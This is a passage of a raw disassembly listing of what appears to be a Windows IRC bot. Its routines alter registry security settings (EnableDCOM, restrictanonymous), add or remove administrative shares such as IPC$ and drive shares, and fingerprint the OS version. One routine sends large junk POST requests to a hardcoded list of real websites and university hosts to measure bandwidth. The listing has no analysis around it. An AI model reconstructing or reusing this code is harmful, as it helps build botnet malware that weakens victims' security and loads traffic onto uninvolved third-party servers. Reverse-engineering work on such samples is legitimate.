lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4E4290 ; RegOpenKeyExA test eax, eax jnz short loc_41AE20 mov ax, word_451F68 mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4E4244 ; RegSetValueExA test eax, eax jz short loc_41AE02 push offset dword_451F78 jmp short loc_41AE07 ; --------------------------------------------------------------------------- loc_41AE02: ; CODE XREF: sub_41AD95+64j push offset asc_451F9C ; "-" loc_41AE07: ; CODE XREF: sub_41AD95+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E41FC ; RegCloseKey jmp short loc_41AE33 ; --------------------------------------------------------------------------- loc_41AE20: ; CODE XREF: sub_41AD95+36j lea eax, [ebp+Dest] push offset asc_451FBC ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41AE33: ; CODE XREF: sub_41AD95+89j cmp [ebp+arg_C], edi jnz short loc_41AE52 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41AE52: ; CODE XREF: sub_41AD95+A1j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4E4290 ; RegOpenKeyExA test eax, eax jnz short loc_41AEC0 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], 1 call dword_4E4244 ; RegSetValueExA test eax, eax jz short loc_41AEA2 push offset dword_452000 jmp short loc_41AEA7 ; --------------------------------------------------------------------------- loc_41AEA2: ; CODE XREF: sub_41AD95+104j push offset asc_45203C ; "-" loc_41AEA7: ; CODE XREF: sub_41AD95+10Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E41FC ; RegCloseKey jmp short loc_41AEDA ; --------------------------------------------------------------------------- loc_41AEC0: ; CODE XREF: sub_41AD95+E2j push offset dword_452070 jmp short loc_41AECC ; --------------------------------------------------------------------------- loc_41AEC7: ; CODE XREF: sub_41AD95+13j push offset asc_4520AC ; "-" loc_41AECC: ; CODE XREF: sub_41AD95+130j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41AEDA: ; CODE XREF: sub_41AD95+129j cmp [ebp+arg_C], edi jnz short loc_41AEF9 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41AEF9: ; CODE XREF: sub_41AD95+148j lea eax, [ebp+Dest] push eax call sub_415C77 cmp dword_4E4318, edi pop ecx jnz loc_41B074 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41AF1C: ; CODE XREF: sub_41AD95+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+Str] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4E4164 cmp eax, edi mov [ebp+var_10], eax jz short loc_41AFB9 cmp eax, 0EAh jz short loc_41AFB9 mov esi, offset off_451F28 loc_41AF4D: ; CODE XREF: sub_41AD95+21Dj push dword ptr [esi] push edi call sub_419B70 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41AF64 push offset dword_45212C jmp short loc_41AF69 ; --------------------------------------------------------------------------- loc_41AF64: ; CODE XREF: sub_41AD95+1C6j push offset asc_452150 ; "-" loc_41AF69: ; CODE XREF: sub_41AD95+1CDj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41AF9C push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41AF9C: ; CODE XREF: sub_41AD95+1EBj lea eax, [ebp+Dest] push eax call sub_415C77 add esi, 8 pop ecx cmp esi, offset aIpc ; "IPC$" jb short loc_41AF4D jmp loc_41B051 ; --------------------------------------------------------------------------- loc_41AFB9: ; CODE XREF: sub_41AD95+1AAj ; sub_41AD95+1B1j mov esi, dword ptr [ebp+Str] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41B048 loc_41AFC8: ; CODE XREF: sub_41AD95+2AFj mov edi, [esi] push edi ; Str call _wcslen cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41B03D push edi call sub_419A5D push eax push 0 call sub_419B70 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41AFF7 push offset dword_4520DC jmp short loc_41AFFC ; --------------------------------------------------------------------------- loc_41AFF7: ; CODE XREF: sub_41AD95+259j push offset asc_452100 ; "-" loc_41AFFC: ; CODE XREF: sub_41AD95+260j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41B030 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B030: ; CODE XREF: sub_41AD95+27Fj lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx loc_41B03D: ; CODE XREF: sub_41AD95+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41AFC8 xor edi, edi loc_41B048: ; CODE XREF: sub_41AD95+22Dj push dword ptr [ebp+Str] call dword_4E42B0 loc_41B051: ; CODE XREF: sub_41AD95+21Fj cmp [ebp+var_10], 0EAh jz loc_41AF1C lea eax, [ebp+Dest] push offset asc_45217C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx pop ebx jmp short loc_41B087 ; --------------------------------------------------------------------------- loc_41B074: ; CODE XREF: sub_41AD95+177j lea eax, [ebp+Dest] push offset asc_4521A4 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B087: ; CODE XREF: sub_41AD95+2DDj cmp [ebp+arg_C], edi jnz short loc_41B0A5 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B0A5: ; CODE XREF: sub_41AD95+2F5j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41AD95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B9 proc near ; CODE XREF: sub_41AD35:loc_41AD7Cp Dest = byte ptr -220h var_20 = dword ptr -20h var_14 = byte ptr -14h Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp dword_4E42F0, edi jnz loc_41B1E7 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4E4290 ; RegOpenKeyExA test eax, eax jnz short loc_41B144 mov ax, word_4521D4 mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_4] call dword_4E4244 ; RegSetValueExA test eax, eax jz short loc_41B126 push offset dword_4521E4 jmp short loc_41B12B ; --------------------------------------------------------------------------- loc_41B126: ; CODE XREF: sub_41B0B9+64j push offset asc_452208 ; "-" loc_41B12B: ; CODE XREF: sub_41B0B9+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E41FC ; RegCloseKey jmp short loc_41B157 ; --------------------------------------------------------------------------- loc_41B144: ; CODE XREF: sub_41B0B9+36j lea eax, [ebp+Dest] push offset asc_452224 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B157: ; CODE XREF: sub_41B0B9+89j cmp [ebp+arg_C], edi jnz short loc_41B176 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B176: ; CODE XREF: sub_41B0B9+A1j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4E4290 ; RegOpenKeyExA test eax, eax jnz short loc_41B1E0 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], edi call dword_4E4244 ; RegSetValueExA test eax, eax jz short loc_41B1C2 push offset dword_452268 jmp short loc_41B1C7 ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B0B9+100j push offset asc_4522A8 ; "-" loc_41B1C7: ; CODE XREF: sub_41B0B9+107j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E41FC ; RegCloseKey jmp short loc_41B1FA ; --------------------------------------------------------------------------- loc_41B1E0: ; CODE XREF: sub_41B0B9+E2j push offset dword_4522E0 jmp short loc_41B1EC ; --------------------------------------------------------------------------- loc_41B1E7: ; CODE XREF: sub_41B0B9+13j push offset asc_45231C ; "-" loc_41B1EC: ; CODE XREF: sub_41B0B9+12Cj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41B1FA: ; CODE XREF: sub_41B0B9+125j cmp [ebp+arg_C], edi jnz short loc_41B219 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B219: ; CODE XREF: sub_41B0B9+144j lea eax, [ebp+Dest] push eax call sub_415C77 cmp dword_4E4318, edi pop ecx jnz loc_41B38E mov esi, offset off_451F28 loc_41B237: ; CODE XREF: sub_41B0B9+1E7j push dword ptr [esi+4] ; int push dword ptr [esi] ; Str push edi ; int call sub_419AC4 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41B252 push offset dword_45234C jmp short loc_41B257 ; --------------------------------------------------------------------------- loc_41B252: ; CODE XREF: sub_41B0B9+190j push offset asc_45236C ; "-" loc_41B257: ; CODE XREF: sub_41B0B9+197j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41B28A push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B28A: ; CODE XREF: sub_41B0B9+1B5j lea eax, [ebp+Dest] push eax call sub_415C77 add esi, 8 pop ecx cmp esi, offset off_451F38 jb short loc_41B237 push ebx call ds:dword_4F6498 ; GetLogicalDrives mov edi, eax mov bl, 41h test edi, edi jz loc_41B376 loc_41B2B5: ; CODE XREF: sub_41B0B9+2B7j mov eax, edi and eax, 1 cmp al, 1 jnz loc_41B36C cmp bl, 41h jz loc_41B36C movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push eax call dword_4E4280 ; GetDriveTypeA cmp eax, 3 jnz short loc_41B36C lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_14] push eax ; Str push 0 ; int call sub_419AC4 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41B326 push offset dword_4523A0 jmp short loc_41B32B ; --------------------------------------------------------------------------- loc_41B326: ; CODE XREF: sub_41B0B9+264j push offset asc_4523C0 ; "-" loc_41B32B: ; CODE XREF: sub_41B0B9+26Bj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41B35F push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B35F: ; CODE XREF: sub_41B0B9+28Aj lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx loc_41B36C: ; CODE XREF: sub_41B0B9+203j ; sub_41B0B9+20Cj ... inc bl shr edi, 1 jnz loc_41B2B5 loc_41B376: ; CODE XREF: sub_41B0B9+1F6j lea eax, [ebp+Dest] push offset asc_4523E8 ; "-" push eax ; Dest call _sprintf pop ecx xor edi, edi pop ecx pop ebx jmp short loc_41B3A1 ; --------------------------------------------------------------------------- loc_41B38E: ; CODE XREF: sub_41B0B9+173j lea eax, [ebp+Dest] push offset asc_45240C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B3A1: ; CODE XREF: sub_41B0B9+2D3j cmp [ebp+arg_C], edi jnz short loc_41B3BF push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41B3BF: ; CODE XREF: sub_41B0B9+2EBj lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41B0B9 endp ; =============== S U B R O U T I N E ======================================= sub_41B3D3 proc near ; CODE XREF: sub_41B5CA+CBp ; sub_41B5CA+DDp ... arg_0 = dword ptr 4 call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand cdq idiv [esp+arg_0] mov eax, edx retn sub_41B3D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41B3ED(char *Str) sub_41B3ED proc near ; CODE XREF: sub_41B5CA+D4p ; sub_41B5CA+E6p ... var_38 = dword ptr -38h Dst = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+Str] ; Str call _strlen mov esi, 0FFh pop ecx cmp eax, esi ja loc_41B5C6 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset push [ebp+Str] mov [ebp+Dst], 2 call sub_40AE8D add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41B5C6 push 50h call dword_4E4220 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4E42A0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41B5C6 lea ecx, [ebp+Dst] push 10h push ecx push eax call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jz loc_41B5C6 push 32003h ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) mov edi, ds:dword_4F63B0 mov ebx, eax pop ecx mov [ebp+Memory], ebx call edi ; GetTickCount push eax ; Seed call _srand call _rand cdq idiv esi mov [esp+38h+var_38], 32001h push 0 ; Val push ebx ; Dst movsx esi, dl call _memset push 32000h ; Size push esi ; Val push ebx ; Dst call _memset push ebx ; Str call _strlen push 323EAh ; unsigned int mov ebx, eax call ??2@YAPAXI@Z ; operator new(uint) add esp, 20h mov esi, eax push ebx push [ebp+Str] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi ; Dest call _sprintf push [ebp+Memory] ; Source push esi ; Dest call _strcat push offset asc_452470 ; "\r\n" push esi ; Dest call _strcat push esi ; Str call _strlen mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+Str], eax jbe short loc_41B546 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41B516 ; --------------------------------------------------------------------------- loc_41B513: ; CODE XREF: sub_41B3ED+157j mov eax, [ebp+Str] loc_41B516: ; CODE XREF: sub_41B3ED+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41B526 push [ebp+var_C] jmp short loc_41B527 ; --------------------------------------------------------------------------- loc_41B526: ; CODE XREF: sub_41B3ED+132j push ebx loc_41B527: ; CODE XREF: sub_41B3ED+137j add eax, esi push eax push [ebp+var_4] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jz short loc_41B5AD add [ebp+Str], ebx sub [ebp+var_C], ebx mov eax, [ebp+Str] cmp eax, [ebp+var_10] jb short loc_41B513 loc_41B546: ; CODE XREF: sub_41B3ED+11Aj call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_43D4EC fst [ebp+Str] fcomp ds:flt_43D4E8 fnstsw ax sahf jnz short loc_41B56E fld1 fstp [ebp+Str] loc_41B56E: ; CODE XREF: sub_41B3ED+17Aj push [ebp+var_4] call dword_4E42B8 ; closesocket push [ebp+Memory] ; Memory call _free push esi ; Memory call _free mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+Str] fmul ds:flt_43D4E4 fmul ds:flt_43D4E0 call __ftol loc_41B5A8: ; CODE XREF: sub_41B3ED+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B5AD: ; CODE XREF: sub_41B3ED+149j push [ebp+var_4] call dword_4E42B8 ; closesocket push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx loc_41B5C6: ; CODE XREF: sub_41B3ED+19j ; sub_41B3ED+42j ... xor eax, eax jmp short loc_41B5A8 sub_41B3ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41B5CA(int,char *Str,int) sub_41B5CA proc near ; CODE XREF: sub_401CC7+2E6Ap Dest = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41B3D3 push [ebp+eax*4+var_3C] ; Str call sub_41B3ED push 8 mov esi, eax call sub_41B3D3 push [ebp+eax*4+var_3C] ; Str call sub_41B3ED add esp, 10h test esi, esi jz short loc_41B6CB test eax, eax jz short loc_41B6C7 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41B6CD ; --------------------------------------------------------------------------- loc_41B6C7: ; CODE XREF: sub_41B5CA+F4j mov ebx, esi jmp short loc_41B6CD ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5CA+F0j mov ebx, eax loc_41B6CD: ; CODE XREF: sub_41B5CA+FBj ; sub_41B5CA+FFj push 0Ch call sub_41B3D3 push [ebp+eax*4+var_6C] ; Str call sub_41B3ED push 0Ch mov edi, eax call sub_41B3D3 push [ebp+eax*4+var_6C] ; Str call sub_41B3ED add esp, 10h test edi, edi jz short loc_41B705 test eax, eax jz short loc_41B701 lea esi, [eax+edi] shr esi, 1 jmp short loc_41B707 ; --------------------------------------------------------------------------- loc_41B701: ; CODE XREF: sub_41B5CA+12Ej mov esi, edi jmp short loc_41B707 ; --------------------------------------------------------------------------- loc_41B705: ; CODE XREF: sub_41B5CA+12Aj mov esi, eax loc_41B707: ; CODE XREF: sub_41B5CA+135j ; sub_41B5CA+139j push 6 call sub_41B3D3 push [ebp+eax*4+var_1C] ; Str call sub_41B3ED push 6 mov edi, eax call sub_41B3D3 push [ebp+eax*4+var_1C] ; Str call sub_41B3ED add esp, 10h test edi, edi jz short loc_41B73F test eax, eax jz short loc_41B73B lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41B741 ; --------------------------------------------------------------------------- loc_41B73B: ; CODE XREF: sub_41B5CA+168j mov ecx, edi jmp short loc_41B741 ; --------------------------------------------------------------------------- loc_41B73F: ; CODE XREF: sub_41B5CA+164j mov ecx, eax loc_41B741: ; CODE XREF: sub_41B5CA+16Fj ; sub_41B5CA+173j xor eax, eax test ebx, ebx jz short loc_41B74E mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41B751 ; --------------------------------------------------------------------------- loc_41B74E: ; CODE XREF: sub_41B5CA+17Bj push 2 pop edi loc_41B751: ; CODE XREF: sub_41B5CA+182j test esi, esi jz short loc_41B759 add eax, esi jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B5CA+189j dec edi loc_41B75A: ; CODE XREF: sub_41B5CA+18Dj test ecx, ecx jz short loc_41B762 add eax, ecx jmp short loc_41B763 ; --------------------------------------------------------------------------- loc_41B762: ; CODE XREF: sub_41B5CA+192j dec edi loc_41B763: ; CODE XREF: sub_41B5CA+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+Dest] push offset asc_452620 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 30h pop edi pop esi pop ebx leave retn sub_41B5CA endp ; =============== S U B R O U T I N E ======================================= sub_41B7A7 proc near ; CODE XREF: sub_401CC7+2595p ; sub_401CC7+2A05p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_4F63B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset byte_4F45E0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41B7A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B810 proc near ; CODE XREF: sub_417AC3+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4F63D0 ; GetVersionExA test eax, eax jz short loc_41B8A3 cmp [ebp+var_90], 4 jnz short loc_41B879 cmp [ebp+var_8C], esi jnz short loc_41B861 cmp [ebp+var_84], 1 jnz short loc_41B854 push 1 pop esi loc_41B854: ; CODE XREF: sub_41B810+3Fj cmp [ebp+var_84], 2 jnz short loc_41B8A3 push 1 jmp short loc_41B8A2 ; --------------------------------------------------------------------------- loc_41B861: ; CODE XREF: sub_41B810+36j cmp [ebp+var_8C], 0Ah jnz short loc_41B86E loc_41B86A: ; CODE XREF: sub_41B810+78j push 2 jmp short loc_41B8A2 ; --------------------------------------------------------------------------- loc_41B86E: ; CODE XREF: sub_41B810+58j cmp [ebp+var_8C], 5Ah jnz short loc_41B8A3 jmp short loc_41B893 ; --------------------------------------------------------------------------- loc_41B879: ; CODE XREF: sub_41B810+2Ej cmp [ebp+var_90], 5 jnz short loc_41B8A3 cmp [ebp+var_8C], esi jz short loc_41B86A cmp [ebp+var_8C], 1 jnz short loc_41B897 loc_41B893: ; CODE XREF: sub_41B810+67j push 3 jmp short loc_41B8A2 ; --------------------------------------------------------------------------- loc_41B897: ; CODE XREF: sub_41B810+81j cmp [ebp+var_8C], 2 jnz short loc_41B8A3 push 7 loc_41B8A2: ; CODE XREF: sub_41B810+4Fj ; sub_41B810+5Cj ... pop esi loc_41B8A3: ; CODE XREF: sub_41B810+25j ; sub_41B810+4Bj ... mov eax, esi pop esi leave retn sub_41B810 endp ; =============== S U B R O U T I N E ======================================= sub_41B8A8 proc near ; CODE XREF: sub_41B964+290p push ebx push esi push edi mov esi, 0F4240h loc_41B8B0: ; CODE XREF: sub_41B8A8+35j ; sub_41B8A8+3Bj call sub_41BCDA push 3E8h mov edi, eax mov ebx, edx call ds:dword_4F6380 ; Sleep call sub_41BCDA sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call __aulldiv mov edi, edx mov ebx, eax test edi, edi ja short loc_41B8B0 jb short loc_41B8E5 cmp ebx, esi ja short loc_41B8B0 loc_41B8E5: ; CODE XREF: sub_41B8A8+37j push 0 push 64h push edi push ebx call __aullrem mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41B958 jb short loc_41B904 cmp esi, 50h jnb short loc_41B909 loc_41B904: ; CODE XREF: sub_41B8A8+55j push 4Bh xor edx, edx pop eax loc_41B909: ; CODE XREF: sub_41B8A8+5Aj test ecx, ecx ja short loc_41B958 jb short loc_41B914 cmp esi, 47h jnb short loc_41B919 loc_41B914: ; CODE XREF: sub_41B8A8+65j push 42h xor edx, edx pop eax loc_41B919: ; CODE XREF: sub_41B8A8+6Aj test ecx, ecx ja short loc_41B958 jb short loc_41B924 cmp esi, 37h jnb short loc_41B929 loc_41B924: ; CODE XREF: sub_41B8A8+75j push 32h xor edx, edx pop eax loc_41B929: ; CODE XREF: sub_41B8A8+7Aj test ecx, ecx ja short loc_41B958 jb short loc_41B934 cmp esi, 26h jnb short loc_41B939 loc_41B934: ; CODE XREF: sub_41B8A8+85j push 21h xor edx, edx pop eax loc_41B939: ; CODE XREF: sub_41B8A8+8Aj test ecx, ecx ja short loc_41B958 jb short loc_41B944 cmp esi, 1Eh jnb short loc_41B949 loc_41B944: ; CODE XREF: sub_41B8A8+95j push 19h xor edx, edx pop eax loc_41B949: ; CODE XREF: sub_41B8A8+9Aj test ecx, ecx ja short loc_41B958 jb short loc_41B954 cmp esi, 0Ah jnb short loc_41B958 loc_41B954: ; CODE XREF: sub_41B8A8+A5j xor eax, eax xor edx, edx loc_41B958: ; CODE XREF: sub_41B8A8+53j ; sub_41B8A8+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41B8A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B964 proc near ; CODE XREF: sub_401CC7+2760p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h FullPath = byte ptr -4E8h var_3E4 = byte ptr -3E4h Dest = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = 